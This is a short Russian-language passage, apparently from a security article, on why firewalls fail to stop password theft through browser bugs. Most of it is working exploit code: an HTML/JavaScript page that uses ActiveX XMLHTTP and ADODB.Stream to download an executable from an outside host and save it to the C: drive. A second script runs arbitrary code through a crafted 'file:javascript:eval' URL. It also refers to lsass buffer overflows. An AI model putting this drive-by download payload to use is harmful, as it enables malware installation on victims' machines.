Пароли спионерили, используя уязвимости web-браузера – фаерволл молчал как партизан – ещё бы, ведь в его правилах 80-порт должен быть открыт! Пример – реализация всё того же ActiveXObject: <html> <script> var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://www.example.com/1.exe", 0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\example.exe", 2); </script> <script language="javascript"> function preparecode(code) { result = ''; lines = code.split(/\r\n/); for (i=0; i<lines.length; i++) { line = lines[i]; line = line.replace(/^\s+/,""); line = line.replace(/\s+$/,""); line = line.replace(/'/g,"\'"); line = line.replace(/[\\]/g,"\\"); line = line.replace(/[/]/g,"%2f"); if (line != '') { result += line +'\\r\\n'; } } return result; } function doit() { mycode = preparecode(document.all.code.value); myURL = "file:javascript:eval('" + mycode + "')"; window.open(myURL, "_media"); } setTimeout("doit()", 5000); </script> </html> Ни фаерволл ни антивирус тут вообще не причём… Пароли утекли через очередной успешно реализованный «Оконный» баг - ну, к примеру, в службе lsass или в другой – благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Думаю приводить иходник подобного сплоита нет смысла вообще… |